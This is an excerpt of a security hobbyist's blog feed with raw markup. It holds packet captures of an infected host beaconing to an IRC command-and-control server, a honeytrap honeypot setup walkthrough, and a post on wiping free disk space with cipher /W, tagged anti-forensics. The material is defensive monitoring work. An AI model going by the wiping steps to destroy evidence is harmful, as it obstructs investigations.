0000 0000  .5.......S......&lt;br /&gt;0x0020:  700&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;2&lt;/span&gt; fc00 70e6 0000 0204 05b4 0101 0402  p...p...........&lt;br /&gt;10:17:57.287574 IP (tos 0x0, ttl 128, id 13283, offset 0, flags [DF], proto: TCP (6), length: 48) 192.168.0.31.2253 &gt; 161.53.178.240.6667: &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;S,&lt;/span&gt; cksum 0x70e6 (correct), 3394442271:3394442271(0) win 64512 &lt;mss&gt;&lt;br /&gt;0x0000:  4500 0030 33e3 4000 8006 b1f7 c0a8 001f  E..03.@.........&lt;br /&gt;0x0010:  a135 b2f0 08cd 1a0b ca53 141f 0000 0000  .5.......S......&lt;br /&gt;0x0020:  700&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;2&lt;/span&gt; fc00 70e6 0000 0204 05b4 0101 0402  p...p...........&lt;br /&gt;10:18:03.306453 IP (tos 0x0, ttl 128, id 13383, offset 0, flags [DF], proto: TCP (6), length: 48) 192.168.0.31.2253 &gt; 161.53.178.240.6667: &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;S&lt;/span&gt;, cksum 0x70e6 (correct), 3394442271:3394442271(0) win 64512 &lt;mss&gt;&lt;br /&gt;0x0000:  4500 0030 3447 4000 8006 b193 c0a8 001f  E..04G@.........&lt;br /&gt;0x0010:  a135 b2f0 08cd 1a0b ca53 141f 0000 0000  .5.......S......&lt;br /&gt;0x0020:  700&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;2&lt;/span&gt; fc00 70e6 0000 0204 05b4 0101 0402  p...p...........&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From this output one can determine that the infected host only attempted outbound connections to the IRC server but received no responses as this is full content data.  From the analysts point of view the bleeding snort rule sets discovered the C&amp;amp;C connection attempt without any data being transferred based soly on the IP.  The full content data backed up the fact that the host was compromised and allows the analysts to determine that no data was exfiltrated.  From this point the system can be taken off line and restored with known good media.&lt;br /&gt;&lt;br /&gt;I used this scenario to illustrate how simply collecting just alert and full packet capture data allows security analysts to fully understand mostly everything that happens on their network.&lt;/mss&gt;&lt;/mss&gt;&lt;/mss&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-4943419309611953749?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/4943419309611953749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=4943419309611953749' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/4943419309611953749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/4943419309611953749'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/02/bot-c.html' title='Bot C&amp;C'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_QwzalobDZ4c/Rd5pqSEyJyI/AAAAAAAAAAk/dmG5V75jiIs/s72-c/robot.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-1813150069863715408</id><published>2007-01-22T19:08:00.000-08:00</published><updated>2007-01-22T19:12:20.192-08:00</updated><title type='text'>Great Success!!!!!!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_QwzalobDZ4c/RbV82sjsxQI/AAAAAAAAAAY/vd81nhVAjcE/s1600-h/9911config1.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 195px; height: 134px;" src="http://2.bp.blogspot.com/_QwzalobDZ4c/RbV82sjsxQI/AAAAAAAAAAY/vd81nhVAjcE/s320/9911config1.gif" alt="" id="BLOGGER_PHOTO_ID_5023058238517331202" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;!--[if !supportEmptyParas]--&gt;&lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;  &lt;p class="MsoNormal"&gt;Ok I know I haven’t been posting much lately about packets I have captured but it not like I have built a fan base yet.&lt;span style=""&gt;  &lt;/span&gt;I have succeeded in one of my goals however, using honeytrap to capture packets for the security community.&lt;span style=""&gt;  &lt;/span&gt;Recently port 20000 was reported as on the rise by Dshield and SANS had a call for packets.&lt;span style=""&gt;  &lt;/span&gt;Being that honeytrap is listening on all ports all of the time I was able to filter all my pcap data for that port and submit full packet captures from established sessions.&lt;span style=""&gt;   &lt;/span&gt;I know it’s not much, but it is a step in the direction I was hoping to take with this project.&lt;span style=""&gt;  &lt;/span&gt;Hopefully I can continue to keep on top of the SANS postings and keep submitting packets.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-1813150069863715408?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/1813150069863715408/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=1813150069863715408' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/1813150069863715408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/1813150069863715408'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/01/great-success.html' title='Great Success!!!!!!'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_QwzalobDZ4c/RbV82sjsxQI/AAAAAAAAAAY/vd81nhVAjcE/s72-c/9911config1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-116777392025123035</id><published>2007-01-02T13:28:00.000-08:00</published><updated>2007-02-20T20:48:59.924-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='honeypot'/><category scheme='http://www.blogger.com/atom/ns#' term='honeytrap'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='ids'/><title type='text'>HONEYTRAP Gotcha!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_QwzalobDZ4c/RZr4nP_GrRI/AAAAAAAAAAM/vM3FlEoXfdo/s1600-h/honeycomb.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 167px; height: 121px;" src="http://bp2.blogger.com/_QwzalobDZ4c/RZr4nP_GrRI/AAAAAAAAAAM/vM3FlEoXfdo/s320/honeycomb.gif" alt="" id="BLOGGER_PHOTO_ID_5015594488220265746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class="MsoBodyText"&gt;&lt;span style="font-size:10;"&gt;I decided to install honeytrap on a Linux laptop and open it up to the world via the DMZ option on my D-Link router. I started with Fedora Core 5 running on a 1Ghz Sony Vaio laptop with 256 Mbs of RAM. I started by locking down the host OS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# chkconfig –list | awk ‘/3:on/ {print $1}’&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# chkconfig &lt;i&gt;service name&lt;/i&gt; off&lt;/span&gt;&lt;span style="font-size:10;"&gt; ; turn off service for run level 3&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# service &lt;i&gt;service name&lt;/i&gt; stop&lt;/span&gt;&lt;span style="font-size:10;"&gt; ; stop the service&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;This first command will show you a list of services running on the host. To determine which service to turn off, refer to the internet. For all my purposes, I just wanted SSH running on port 2929 so I turned off any service that listens on any other port. &lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;The first thing I did was to download honeytrap from &lt;u&gt;“http://honeytrap.sourceforge.net/start.html”&lt;/u&gt; and compile the sources. I decided to compile with the pcap monitoring switch, however after running it and researching on the web, I found out that with the pcap option honeytrap drops the first packet and only establishes a socket with the second packet on that same port. As much of the activity I see on my FIOS connection is one off scanning and probing, this option was surely not for me.&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText2"&gt;&lt;span style="font-size:10;"&gt;To alleviate this problem I compiled honeytrap with the IPQ option. This uses iptables to send the initial SYN to honeytrap therefore dynamically creating a socket with the first connection attempt. I did this with the following configure switches:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# ./configure –with-ipq-mon&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText2"&gt;&lt;span style="font-size:10;"&gt;I immediately got the error:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;checking for libipq.h... no&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText2"&gt;&lt;span style="font-size:10;"&gt;I attempted to pull down the iptables sources, however these did not include “libipq.h”. After some searching I found on rpmfind, “iptables-devel-1.2.9-10.rpm”. installing this I got a dependency error for “iptables-1.2.9”. Not too discouraged, I downloaded and compiled iptables-1.2.9 and installed the devel RPM with the –nodeps switch. After installing these dependencies, I issued a:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# find / -name libipq.h&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;/usr/include/libipq.h&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;Halleluiah!!&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;Now I move back to the honeytrap directory and issue:&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;root@localhost# ./make clean&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;root@localhost# ./configure –with-ipq-mon&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;root@localhost# make&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# make install&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText2"&gt;&lt;span style="font-size:10;"&gt;Now to make sure it ignored SSH port 2929, appended:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;include = /etc/honeytrap/ports.conf&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText2"&gt;&lt;span style="font-size:10;"&gt;In the /etc/honeytrap/honeytrap.conf file and created a /etc/honeytrap/ports.conf file with the following:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;port=2929,ignore&lt;/span&gt;&lt;span style="font-size:10;"&gt; &lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;Load the IPQ module:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# modprobe ip_queue&lt;/span&gt;&lt;span style="font-size:10;"&gt; &lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;Issue “lsmod” command to ensure that the ip_queue module is loaded &lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;Issue the following command to enable iptables to forward SYN’s to honeytrap:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;iptables -A INPUT –i eth0 –p tcp -–syn –m state -–state NEW –j QUEUE&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;Once in place I envoke honeytrap:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# ./honeytrap –u eon –g eon –D&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;honeytrap v0.6.2 Copyright © 2005-2006 Tillman Werner tillman.Werner@gmx.de&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;[2006-10-07 21:02:47] ----Trapping attacks via IPQ. ----&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;&lt;br /&gt;AT LAST!!!!!!!&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText"&gt;&lt;span style="font-size:10;"&gt;&lt;br /&gt;This runs honeytrap with a non-root user and group and the –D flag tells honeytrap not to go into daemon mode.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;&lt;br /&gt;On another host I have tshark runnig to capture traffic off of a switch span port:&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;root@localhost# tshark –w &lt;i&gt;log dir&lt;/i&gt; -a filesize:50000 –b files:5 –i &lt;i&gt;interface&lt;/i&gt;&lt;span style=""&gt;   &lt;/span&gt;–f &lt;i&gt;filter expression&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:10;"&gt; &lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;&lt;br /&gt;This allows for 5 rotating 50Mb files in your log directory.&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;&lt;br /&gt;With this I can easily monitor connection attempts and capture the full payload of any inbound connection attempt to my Honeytrap.&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:10;"&gt;&lt;br /&gt;Now I sit and wait for the interesting traffic. Being a packet monkey, I will post any interesting findings/packets to this blog.&lt;/span&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:10;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-116777392025123035?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/116777392025123035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=116777392025123035' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/116777392025123035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/116777392025123035'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/01/honeytrap-gotcha.html' title='HONEYTRAP Gotcha!'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_QwzalobDZ4c/RZr4nP_GrRI/AAAAAAAAAAM/vM3FlEoXfdo/s72-c/honeycomb.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-115522118142614870</id><published>2006-08-10T06:45:00.000-07:00</published><updated>2007-02-20T20:51:33.951-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='anti-forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Clearing Unallocated Space on Windows</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/280/3249/1600/cipher.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 231px; height: 142px;" src="http://photos1.blogger.com/blogger/280/3249/320/cipher.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=""&gt;The other day I came across a very interesting tool while researching ways to clear unallocated space on a Windows machine.  This process is very well documented for *nix machines using "dd" and "/dev/zero", however I was unaware of a similar process for Windows based OS's.  The tool in question is included in Windows XP and is called "cipher.exe".  This tool has many uses as the following output shows:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=""&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;C:\Documents and Settings\Administrator&gt;cipher /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Displays or alters the encryption of directories [files] on NTFS partitions.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; CIPHER [/E | /D] [/S:dir] [/A] [/I] [/F] [/Q] [/H] [/K] [pathname [...]]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; CIPHER /W:directory&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; CIPHER /X[:efsfile] [filename]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /E     Encrypts the specified directories. Directories will be marked&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          so that files added afterward will be encrypted.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /D     Decrypts the specified directories. Directories will be marked&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          so that files added afterward will not be encrypted.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /S     Performs the specified operation on directories in the given&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          directory and all subdirectories.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /A     Operation for files as well as directories. The encrypted file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          could become decrypted when it is modified if the parent directory&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          is not encrypted. It is recommended that you encrypt the file and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          the parent directory.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /I     Continues performing the specified operation even after errors&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          have occurred.  By default, CIPHER stops when an error is&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          encountered.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /F     Forces the encryption operation on all specified objects, even&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          those which are already encrypted.  Already-encrypted objects&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          are skipped by default.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /Q     Reports only the most essential information.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /H     Displays files with the hidden or system attributes.  These&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          files are omitted by default.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /K     Create new file encryption key for the user running CIPHER. If this&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          option is chosen, all the other options will be ignored.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /W     Removes data from available unused disk space on the entire&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          volume. If this option is chosen, all other options are ignored.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          The directory specified can be anywhere in a local volume. If it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          is a mount point or points to a directory in another volume, the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          data on that volume will be removed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   /X     Backup EFS certificate and keys into file filename. If efsfile is&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          provided, the current user's certificate(s) used to encrypt the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          file will be backed up. Otherwise, the user's current EFS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;          certificate and keys will be backed up.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   dir       A directory path.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   pathname  Specifies a pattern, file or directory.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   efsfile   An encrypted file path.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Used without parameters, CIPHER displays the encryption state of&lt;br /&gt;the current directory and any files it contains. You may use multiple&lt;br /&gt;directory names and wildcards.  You must put spaces between multiple&lt;br /&gt;parameters.&lt;/span&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;br /&gt;Now the point of interest to me lies in the "/W" option.  This if specified, will clear data on any unused portions of the disk specified.  I figured I would give this a try on a Windows 2000 Pro laptop.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;C:\Documents and Settings\Administrator&gt;cipher /W:c:To remove as much data as possible, please close all other applications while&lt;br /&gt;running CIPHER /W.&lt;br /&gt;Writing 0x00&lt;br /&gt;................................................................................&lt;br /&gt;....................&lt;br /&gt;Writing 0xFF&lt;br /&gt;................................................................................&lt;br /&gt;....................&lt;br /&gt;Writing Random Numbers&lt;br /&gt;................................................................................&lt;br /&gt;....................&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Administrator&gt;&lt;/span&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;br /&gt;It's done, and it was painless.  All unallocated space on the hard drive was overwritten by zeros, then ones and then random numbers.  On a drive that had 4 gigs of free space, it took less than 20 minutes.  Now if anyone gets a hold of this hard drive, it would not be possible to recover deleted files.  This type of action can be scheduled on windows boxes to be run periodically.  In an age of mobile computing, this type of extra security measure can be invaluable.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-115522118142614870?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/115522118142614870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=115522118142614870' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/115522118142614870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/115522118142614870'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2006/08/clearing-unallocated-space-on-windows.html' title='Clearing Unallocated Space on Windows'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-115172355949445145</id><published>2006-06-30T19:11:00.000-07:00</published><updated>2007-02-20T20:52:03.992-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='Shell'/><title type='text'>FreeBSD Customized Shell Prompt</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/280/3249/1600/8-18sandshell.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://photos1.blogger.com/blogger/280/3249/200/8-18sandshell.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span 